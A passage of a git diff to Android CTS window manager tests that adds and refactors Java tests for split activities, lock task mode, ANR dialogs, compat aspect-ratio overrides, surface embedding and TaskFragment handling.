return startActivityAndVerifySplit(primaryActivity, secondActivityClass, splitPairRule,
- secondActivityId, splitInfoConsumer, 1 /* expectedCallbackCount */);
+ secondActivityId, 1 /* expectedCallbackCount */, splitInfoConsumer);
}
@Nullable
- public static Activity getSecondActivity(@NonNull List<SplitInfo> activeSplitStates,
+ public static Activity getSecondActivity(@Nullable List<SplitInfo> activeSplitStates,
@NonNull Activity primaryActivity, @NonNull String secondaryClassId) {
+ if (activeSplitStates == null) {
+ Log.d(TAG, "Null split states");
+ return null;
+ }
Log.d(TAG, "Active split states: " + activeSplitStates);
for (SplitInfo splitInfo : activeSplitStates) {
// Find the split info whose top activity in the primary container is the primary
@@ -192,6 +206,16 @@
return false;
}
+ public static boolean waitForResumed(@NonNull String activityId) {
+ final long startTime = System.currentTimeMillis();
+ while (System.currentTimeMillis() - startTime < WAIT_FOR_RESUMED_TIMEOUT_MS) {
+ if (getResumedActivityById(activityId) != null) {
+ return true;
+ }
+ }
+ return false;
+ }
+
@Nullable
public static Activity getPrimaryStackTopActivity(SplitInfo splitInfo) {
List<Activity> primaryActivityStack = splitInfo.getPrimaryActivityStack().getActivities();
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
index 3c926a5..c2576cc 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
@@ -219,4 +219,17 @@
return sResumedActivities.contains(activity);
}
}
+
+ @Nullable
+ public static TestActivityWithId getResumedActivityById(@NonNull String activityId) {
+ synchronized (sResumedActivities) {
+ for (Activity activity : sResumedActivities) {
+ if (activity instanceof TestActivityWithId
+ && activityId.equals(((TestActivityWithId) activity).getId())) {
+ return (TestActivityWithId) activity;
+ }
+ }
+ return null;
+ }
+ }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 2b425c9..401ebaf 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -337,6 +337,44 @@
mWmState.assertHomeActivityVisible(true);
}
+ /**
+ * This test case tests behavior of activity launched with FLAG_ACTIVITY_TASK_ON_HOME in lock
+ * task mode. The home task do not move to the front of the launched task if the home task
+ * is violated with the lock-task mode.
+ */
+ @Test
+ public void testLaunchTaskOnHomeInLockTaskMode() {
+ if (!hasHomeScreen()) {
+ return;
+ }
+ // Start LaunchingActivity and BroadcastReceiverActivity in two separate tasks.
+ getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+ .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
+ waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
+ final int taskId1 = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId;
+ final int taskId2 = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId;
+
+ try {
+ runWithShellPermission(() -> {
+ mAtm.startSystemLockTaskMode(taskId1);
+ mAtm.startSystemLockTaskMode(taskId2);
+ });
+ getLaunchActivityBuilder()
+ .setUseInstrumentation()
+ .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+ .setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute();
+ waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed");
+ mBroadcastActionTrigger.finishBroadcastReceiverActivity();
+ mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY);
+
+ mWmState.assertHomeActivityVisible(false);
+ } finally {
+ runWithShellPermission(() -> {
+ mAtm.stopSystemLockTaskMode();
+ });
+ }
+ }
+
@Test
public void testFinishActivityWithMoveTaskToBackAfterPause() {
performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_PAUSE);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
index 312fb4c..91b42dc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
@@ -23,17 +23,15 @@
import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_CREATE_DELAY_MS;
import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_KEYDOWN_DELAY_MS;
import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
-import static android.view.Display.DEFAULT_DISPLAY;
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeTrue;
-import android.app.ActivityTaskManager;
import android.content.ComponentName;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
-import android.server.wm.app.Components.RenderService;
import android.provider.Settings;
+import android.server.wm.app.Components.RenderService;
import android.server.wm.settings.SettingsSession;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
@@ -43,14 +41,16 @@
import android.util.Log;
import android.view.KeyEvent;
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.filters.FlakyTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import java.util.List;
-
-import androidx.test.filters.FlakyTest;
-import androidx.test.platform.app.InstrumentationRegistry;
+import java.util.concurrent.CountDownLatch;
/**
* Test scenarios that lead to ANR dialog being shown.
@@ -123,15 +123,11 @@
startUnresponsiveActivity(EXTRA_ON_MOTIONEVENT_DELAY_MS, true /* waitForCompletion */,
UNRESPONSIVE_ACTIVITY);
- // TODO(b/143566069) investigate why we need multiple taps on display to trigger anr.
mWmState.computeState();
// Tap on the UnresponsiveActivity
final WindowManagerState.Task unresponsiveActivityTask =
mWmState.getTaskByActivity(UNRESPONSIVE_ACTIVITY);
- tapOnTaskCenter(unresponsiveActivityTask);
- SystemClock.sleep(1000);
- tapOnTaskCenter(unresponsiveActivityTask);
-
+ mTouchHelper.tapOnTaskCenterAsync(unresponsiveActivityTask);
clickCloseAppOnAnrDialog();
assertEventLogsContainsAnr(UnresponsiveActivity.PROCESS_NAME);
}
@@ -141,19 +137,19 @@
*/
@Test
public void embeddedWindowTriggersAnr() {
- startUnresponsiveActivity(EXTRA_ON_MOTIONEVENT_DELAY_MS, true /* waitForCompletion */,
- HOST_ACTIVITY);
-
- // TODO(b/143566069) investigate why we need multiple taps on display to trigger anr.
- mWmState.computeState();
- // Tap on the HostActivity
- final WindowManagerState.Task hostActivityTask =
- mWmState.getTaskByActivity(HOST_ACTIVITY);
- tapOnTaskCenter(hostActivityTask);
- SystemClock.sleep(1000);
- tapOnTaskCenter(hostActivityTask);
-
- clickCloseAppOnAnrDialog();
+ try (ActivityScenario<HostActivity> scenario =
+ ActivityScenario.launch(HostActivity.class)) {
+ CountDownLatch[] latch = new CountDownLatch[1];
+ scenario.onActivity(activity -> latch[0] = activity.mEmbeddedViewAttachedLatch);
+ latch[0].await();
+ mWmState.computeState();
+ final WindowManagerState.Task hostActivityTask =
+ mWmState.getTaskByActivity(new ComponentName("android.server.wm.cts",
+ "android.server.wm.HostActivity"));
+ mTouchHelper.tapOnTaskCenterAsync(hostActivityTask);
+ clickCloseAppOnAnrDialog();
+ } catch (InterruptedException ignored) {
+ }
assertEventLogsContainsAnr(RenderService.PROCESS_NAME);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
index 589ab90..ad1d0e3 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -45,8 +45,8 @@
import android.util.Size;
import androidx.annotation.Nullable;
-import androidx.test.filters.FlakyTest;
+import libcore.junit.util.compat.CoreCompatChangeRule.DisableCompatChanges;
import libcore.junit.util.compat.CoreCompatChangeRule.EnableCompatChanges;
import org.junit.Before;
@@ -375,6 +375,32 @@
@Test
@EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+ @DisableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_PORTRAIT_ONLY})
+ public void testOverrideMinAspectRatioForNonFixedOrientationActivityPortraitOnlyDisabled() {
+ runMinAspectRatioTest(NON_RESIZEABLE_NON_FIXED_ORIENTATION_ACTIVITY, /* expected= */
+ OVERRIDE_MIN_ASPECT_RATIO_LARGE_VALUE);
+ }
+
+ /**
+ * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+ * activities whose orientation is fixed to landscape.
+ */
+ @Test
+ @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+ ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
+ @DisableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_PORTRAIT_ONLY})
+ public void testOverrideMinAspectRatioForLandscapeActivityPortraitOnlyDisabled() {
+ runMinAspectRatioTest(NON_RESIZEABLE_LANDSCAPE_ACTIVITY, /* expected= */
+ OVERRIDE_MIN_ASPECT_RATIO_LARGE_VALUE);
+ }
+
+ /**
+ * Test that applying {@link ActivityInfo#OVERRIDE_MIN_ASPECT_RATIO_LARGE} has no effect on
+ * activities whose orientation isn't fixed.
+ */
+ @Test
+ @EnableCompatChanges({ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO,
+ ActivityInfo.OVERRIDE_MIN_ASPECT_RATIO_LARGE})
public void testOverrideMinAspectRatioForNonFixedOrientationActivity() {
runMinAspectRatioTest(NON_RESIZEABLE_NON_FIXED_ORIENTATION_ACTIVITY, /* expected= */ 0);
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index a79ba90..2b5073a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -164,8 +164,8 @@
// Apply new override values that don't match the physical metrics.
final Size overrideSize = new Size(
- (int) (originalDisplayMetrics.physicalSize.getWidth() * 1.5),
- (int) (originalDisplayMetrics.physicalSize.getHeight() * 1.5));
+ (int) (originalDisplayMetrics.physicalSize.getWidth() * 0.9),
+ (int) (originalDisplayMetrics.physicalSize.getHeight() * 0.9));
final Integer overrideDensity = (int) (originalDisplayMetrics.physicalDensity * 1.1);
displayMetricsSession.overrideDisplayMetrics(overrideSize, overrideDensity);
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HostActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/HostActivity.java
similarity index 65%
rename from tests/framework/base/windowmanager/app/src/android/server/wm/app/HostActivity.java
rename to tests/framework/base/windowmanager/src/android/server/wm/HostActivity.java
index 4a365a3..318e1e6 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HostActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/HostActivity.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2020 The Android Open Source Project
+ * Copyright (C) 2021 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,14 +14,14 @@
* limitations under the License.
*/
-package android.server.wm.app;
+package android.server.wm;
+import static android.server.wm.app.Components.RenderService.BROADCAST_EMBED_CONTENT;
+import static android.server.wm.app.Components.RenderService.EXTRAS_BUNDLE;
+import static android.server.wm.app.Components.RenderService.EXTRAS_DISPLAY_ID;
+import static android.server.wm.app.Components.RenderService.EXTRAS_HOST_TOKEN;
+import static android.server.wm.app.Components.RenderService.EXTRAS_SURFACE_PACKAGE;
import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
-import static android.server.wm.app.RenderService.BROADCAST_EMBED_CONTENT;
-import static android.server.wm.app.RenderService.EXTRAS_BUNDLE;
-import static android.server.wm.app.RenderService.EXTRAS_DISPLAY_ID;
-import static android.server.wm.app.RenderService.EXTRAS_HOST_TOKEN;
-import static android.server.wm.app.RenderService.EXTRAS_SURFACE_PACKAGE;
import android.app.Activity;
import android.content.BroadcastReceiver;
@@ -32,15 +32,18 @@
import android.content.ServiceConnection;
import android.os.Bundle;
import android.os.IBinder;
-import android.view.SurfaceControlViewHost.SurfacePackage;
+import android.view.SurfaceControlViewHost;
import android.view.SurfaceHolder;
import android.view.SurfaceView;
import android.view.ViewGroup;
import android.widget.RelativeLayout;
+import java.util.concurrent.CountDownLatch;
+
+
public class HostActivity extends Activity implements SurfaceHolder.Callback{
private SurfaceView mSurfaceView;
-
+ public CountDownLatch mEmbeddedViewAttachedLatch = new CountDownLatch(1);
private ServiceConnection mConnection = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {}
@@ -49,13 +52,14 @@
public void onServiceDisconnected(ComponentName className) {}
};
- private BroadcastReceiver receiver = new BroadcastReceiver() {
+ private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
- SurfacePackage surfacePackage =
+ SurfaceControlViewHost.SurfacePackage surfacePackage =
intent.getParcelableExtra(EXTRAS_SURFACE_PACKAGE);
if (surfacePackage != null) {
mSurfaceView.setChildSurfacePackage(surfacePackage);
+ mEmbeddedViewAttachedLatch.countDown();
}
}
};
@@ -64,9 +68,8 @@
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- IntentFilter filter = new IntentFilter();
- filter.addAction(BROADCAST_EMBED_CONTENT);
- registerReceiver(receiver, filter);
+ IntentFilter filter = new IntentFilter(BROADCAST_EMBED_CONTENT);
+ registerReceiver(mReceiver, filter);
final RelativeLayout content = new RelativeLayout(this);
mSurfaceView = new SurfaceView(this);
@@ -81,20 +84,21 @@
@Override
protected void onPause() {
- unregisterReceiver(receiver);
+ unregisterReceiver(mReceiver);
super.onPause();
}
@Override
public void surfaceCreated(SurfaceHolder holder) {
- Intent mIntent = new Intent(this, RenderService.class);
- Bundle b = new Bundle();
- b.putBinder(EXTRAS_HOST_TOKEN, mSurfaceView.getHostToken());
- b.putInt(EXTRAS_DISPLAY_ID, getDisplay().getDisplayId());
- b.putInt(EXTRA_ON_MOTIONEVENT_DELAY_MS,
- getIntent().getIntExtra(EXTRA_ON_MOTIONEVENT_DELAY_MS, 2000));
- mIntent.putExtra(EXTRAS_BUNDLE, b);
- bindService(mIntent, mConnection, Context.BIND_AUTO_CREATE|Context.BIND_IMPORTANT);
+ Intent mIntent = new Intent();
+ mIntent.setComponent(new ComponentName(
+ "android.server.wm.app", "android.server.wm.app.RenderService"));
+ Bundle bundle = new Bundle();
+ bundle.putBinder(EXTRAS_HOST_TOKEN, mSurfaceView.getHostToken());
+ bundle.putInt(EXTRAS_DISPLAY_ID, getDisplay().getDisplayId());
+ bundle.putInt(EXTRA_ON_MOTIONEVENT_DELAY_MS, 10000);
+ mIntent.putExtra(EXTRAS_BUNDLE, bundle);
+ bindService(mIntent, mConnection, Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
}
@Override
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
index 3a10984..296d7b4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/LayoutTests.java
@@ -155,7 +155,8 @@
}
}
});
- activity.addWindow(view, new LayoutParams());
+ // Use a sub window type so the test is robust when remote inset controller is used.
+ activity.addWindow(view, new LayoutParams(TYPE_APPLICATION_PANEL));
});
// Wait for the possible failure.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 9076050..58df952 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -469,7 +469,7 @@
}
// Launch activity on new secondary display.
- launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
+ launchActivityOnDisplay(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN, newDisplay.mId);
waitAndAssertActivityStateOnDisplay(RESIZEABLE_ACTIVITY, STATE_RESUMED, newDisplay.mId,
"Test activity must be on secondary display");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index aa3689f..4a4f6b4 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -1300,6 +1300,19 @@
}
@Test
+ public void testAutoPipOnLaunchingAnotherActivity() {
+ // Launch the PIP activity and set its pip params to allow auto-pip.
+ launchActivity(PIP_ACTIVITY, extraString(EXTRA_ALLOW_AUTO_PIP, "true"));
+ assertPinnedStackDoesNotExist();
+
+ // Launch another and ensure that there is a pinned stack.
+ launchActivity(TEST_ACTIVITY);
+ waitForEnterPip(PIP_ACTIVITY);
+ assertPinnedStackExists();
+ waitAndAssertActivityState(PIP_ACTIVITY, STATE_PAUSED, "activity must be paused");
+ }
+
+ @Test
public void testMaxNumberOfActions() {
final int maxNumberActions = ActivityTaskManager.getMaxNumPictureInPictureActions(mContext);
assertThat(maxNumberActions, greaterThanOrEqualTo(3));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java
index 3d6d97c..49d2dba 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PrivacyIndicatorBoundsTests.java
@@ -21,6 +21,7 @@
import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCAPE;
import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED;
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
import static android.server.wm.RoundedCornerTests.TestActivity.EXTRA_ORIENTATION;
import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
@@ -31,9 +32,11 @@
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import android.app.Activity;
import android.app.AppOpsManager;
+import android.content.Context;
import android.content.Intent;
import android.graphics.Rect;
import android.os.Bundle;
@@ -56,7 +59,7 @@
@Presubmit
@RunWith(Parameterized.class)
-public class PrivacyIndicatorBoundsTests {
+public class PrivacyIndicatorBoundsTests extends ActivityManagerTestBase {
private static final String TAG = PrivacyIndicatorBoundsTests.class.getSimpleName();
private static final long TIMEOUT_MS = 1000;
@@ -85,6 +88,10 @@
@Test
public void testStaticBoundsAreNotNull() {
+ // TODO(b/187757919): Allow Automotive to skip this test until privacy chip is implemented
+ // in immersive mode
+ assumeFalse(isCar());
+
final PrivacyIndicatorBoundsTests.TestActivity activity = mTestActivity.launchActivity(
new Intent().putExtra(EXTRA_ORIENTATION, orientation));
getInstrumentation().runOnMainSync(() -> {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index 356953b..7585856 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -20,6 +20,7 @@
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.server.wm.SplitActivityLifecycleTest.ActivityB.EXTRA_SHOW_WHEN_LOCKED;
+import static android.server.wm.WindowManagerState.STATE_STARTED;
import static android.server.wm.WindowManagerState.STATE_STOPPED;
import static com.google.common.truth.Truth.assertThat;
@@ -44,6 +45,7 @@
import org.junit.Ignore;
import org.junit.Test;
+
/**
* Tests that verify the behavior of split Activity.
* <p>
@@ -253,6 +255,35 @@
}
/**
+ * Verifies the behavior of the activities in a TaskFragment that is sandwiched in adjacent
+ * TaskFragments.
+ */
+ @Test
+ public void testSandwichTaskFragmentInAdjacent() {
+ // Initialize test environment by launching Activity A and B side-by-side.
+ initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+ final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken();
+ final TaskFragmentCreationParams paramsC = generateSideTaskFragParams();
+ final IBinder taskFragTokenC = paramsC.getFragmentToken();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ // Create the side TaskFragment for C and launch
+ .createTaskFragment(paramsC)
+ .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent,
+ null /* activityOptions */)
+ .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenC, null /* options */);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ // Wait for the TaskFragment of Activity C to be created.
+ mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+ waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed.");
+ waitAndAssertActivityState(mActivityB, STATE_STOPPED,
+ "Activity B is occluded by Activity C, so it must be stopped.");
+ waitAndAssertResumedActivity(mActivityA, "Activity B must be resumed.");
+ }
+
+ /**
* Verifies the behavior to launch adjacent Activity to the adjacent TaskFragment.
* <p>
* For example, given that Activity A and B are showed side-by-side, this test verifies
@@ -520,9 +551,46 @@
// Launch Activity C without show-when-lock and verifies that both activities are stopped.
mOwnerActivity.startActivity(mIntent);
- waitAndAssertActivityState(mActivityA, STATE_STOPPED,"Activity A must be stopped");
- waitAndAssertActivityState(mActivityC, STATE_STOPPED,"Activity C must be stopped");
+ waitAndAssertActivityState(mActivityA, STATE_STOPPED, "Activity A must be stopped");
+ waitAndAssertActivityState(mActivityC, STATE_STOPPED, "Activity C must be stopped");
+ }
+ /**
+ * Verifies an Activity below adjacent translucent TaskFragments is visible.
+ */
+ @Test
+ public void testTranslucentAdjacentTaskFragment() {
+ // Create ActivityB on top of ActivityA
+ Activity activityB = startActivity(ActivityB.class);
+ waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
+ waitAndAssertActivityState(mActivityA, STATE_STOPPED,
+ "Activity A is occluded by Activity B, so it must be stopped.");
+
+ // Create two adjacent TaskFragments, making ActivityB and TranslucentActivity
+ // displayed side-by-side (ActivityB|TranslucentActivity).
+ mOwnerActivity.getWindowManager().getCurrentWindowMetrics().getBounds()
+ .splitVertically(mPrimaryBounds, mSideBounds);
+ final TaskFragmentCreationParams primaryParams = generatePrimaryTaskFragParams();
+ final TaskFragmentCreationParams secondaryParams = generateSideTaskFragParams();
+ IBinder primaryToken = primaryParams.getFragmentToken();
+ IBinder secondaryToken = secondaryParams.getFragmentToken();
+
+ final ComponentName translucentActivity = new ComponentName(mContext,
+ TranslucentActivity.class);
+ final Intent intent = new Intent().setComponent(translucentActivity);
+ WindowContainerTransaction wct = new WindowContainerTransaction()
+ .createTaskFragment(primaryParams)
+ .reparentActivityToTaskFragment(primaryToken, getActivityToken(activityB))
+ .createTaskFragment(secondaryParams)
+ .setAdjacentTaskFragments(primaryToken, secondaryToken, null /* params */)
+ .startActivityInTaskFragment(secondaryToken, mOwnerToken, intent,
+ null /* activityOptions */);
+ mTaskFragmentOrganizer.applyTransaction(wct);
+
+ waitAndAssertResumedActivity(translucentActivity, "TranslucentActivity must be resumed.");
+ waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
+ waitAndAssertActivityState(mActivityA, STATE_STARTED,
+ "Activity A is not fully occluded and must be visible and started");
}
private TaskFragmentCreationParams generatePrimaryTaskFragParams() {
@@ -562,6 +630,7 @@
public static class ActivityA extends SplitTestActivity {}
public static class ActivityB extends SplitTestActivity {}
public static class ActivityC extends SplitTestActivity {}
+ public static class TranslucentActivity extends SplitTestActivity {}
public static class SplitTestActivity extends FocusableActivity {
public static final String EXTRA_SHOW_WHEN_LOCKED = "showWhenLocked";
@Override
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
index a8517c2..9e00b08 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
@@ -44,6 +44,12 @@
@Presubmit
public class SurfaceControlTest {
private static final int DEFAULT_SURFACE_SIZE = 100;
+ /**
+ * Use a rect that doesn't include 1 pixel in the border since some composers add blending at
+ * the edges. It's easier to just ignore those pixels and ensure the rest are correct.
+ */
+ private static final Rect DEFAULT_RECT = new Rect(1, 1, DEFAULT_SURFACE_SIZE - 1,
+ DEFAULT_SURFACE_SIZE - 1);
@Rule
public ActivityScenarioRule<ASurfaceControlTestActivity> mActivityRule =
@@ -153,7 +159,7 @@
sc.release();
}
},
- new RectChecker(new Rect(0, 0, 100, 100), PixelColor.RED));
+ new RectChecker(DEFAULT_RECT, PixelColor.RED));
}
/**
@@ -172,7 +178,7 @@
sc.release();
}
},
- new RectChecker(new Rect(0, 0, 100, 100), PixelColor.BLACK));
+ new RectChecker(DEFAULT_RECT, PixelColor.BLACK));
}
/**
@@ -189,7 +195,7 @@
new SurfaceControl.Transaction().reparent(sc, null).apply();
}
},
- new RectChecker(new Rect(0, 0, 100, 100), PixelColor.BLACK));
+ new RectChecker(DEFAULT_RECT, PixelColor.BLACK));
// Since the SurfaceControl is parented off-screen, if we release our reference
// it may completely die. If this occurs while the render thread is still rendering
// the RED background we could trigger a crash. For this test defer destroying the
@@ -217,7 +223,7 @@
sc.release();
}
},
- new RectChecker(new Rect(0, 0, 100, 100), PixelColor.RED));
+ new RectChecker(DEFAULT_RECT, PixelColor.RED));
}
/**
@@ -241,7 +247,7 @@
sc.release();
}
},
- new RectChecker(new Rect(0, 0, 100, 100), PixelColor.GREEN));
+ new RectChecker(DEFAULT_RECT, PixelColor.GREEN));
}
/**
@@ -262,7 +268,7 @@
},
// The rect should be offset by -50 pixels
- new MultiRectChecker(new Rect(0, 0, 100, 100)) {
+ new MultiRectChecker(DEFAULT_RECT) {
final PixelColor red = new PixelColor(PixelColor.RED);
final PixelColor black = new PixelColor(PixelColor.BLACK);
@Override
@@ -295,7 +301,7 @@
},
// The rect should be offset by 50 pixels
- new MultiRectChecker(new Rect(0, 0, 100, 100)) {
+ new MultiRectChecker(DEFAULT_RECT) {
final PixelColor red = new PixelColor(PixelColor.RED);
final PixelColor black = new PixelColor(PixelColor.BLACK);
@Override
@@ -328,6 +334,6 @@
}
},
- new RectChecker(new Rect(0, 0, 100, 100), PixelColor.RED));
+ new RectChecker(DEFAULT_RECT, PixelColor.RED));
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
index 61ea0dc..9f8d6e0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerPolicyTest.java
@@ -318,6 +318,53 @@
.isInstanceOf(IllegalArgumentException.class);
}
+ /**
+ * Verifies that the TaskFragment hierarchy ops should still work while in lock task mode.
+ */
+ @Test
+ public void testApplyHierarchyOpsInLockTaskMode() {
+ // Start an activity
+ final Activity activity = startNewActivity();
+
+ try {
+ // Lock the task
+ runWithShellPermission(() -> {
+ mAtm.startSystemLockTaskMode(activity.getTaskId());
+ });
+
+ // Create TaskFragment and reparent the activity
+ final IBinder ownerToken = getActivityToken(activity);
+ final TaskFragmentCreationParams params =
+ mTaskFragmentOrganizer.generateTaskFragParams(ownerToken);
+ final IBinder taskFragToken = params.getFragmentToken();
+ WindowContainerTransaction wct = new WindowContainerTransaction()
+ .createTaskFragment(params)
+ .reparentActivityToTaskFragment(taskFragToken, ownerToken);
+ mTaskFragmentOrganizer.applyTransaction(wct);
+
+ // Verifies it works
+ mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+ TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+ assertEquals(1, info.getActivities().size());
+
+ // Delete the TaskFragment
+ wct = new WindowContainerTransaction().deleteTaskFragment(
+ mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken).getToken());
+ mTaskFragmentOrganizer.applyTransaction(wct);
+
+ // Verifies the TaskFragment NOT removed because the removal would also empty the task.
+ mTaskFragmentOrganizer.waitForTaskFragmentError();
+ assertThat(mTaskFragmentOrganizer.getThrowable()).isInstanceOf(
+ IllegalStateException.class);
+ info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+ assertEquals(1, info.getActivities().size());
+ } finally {
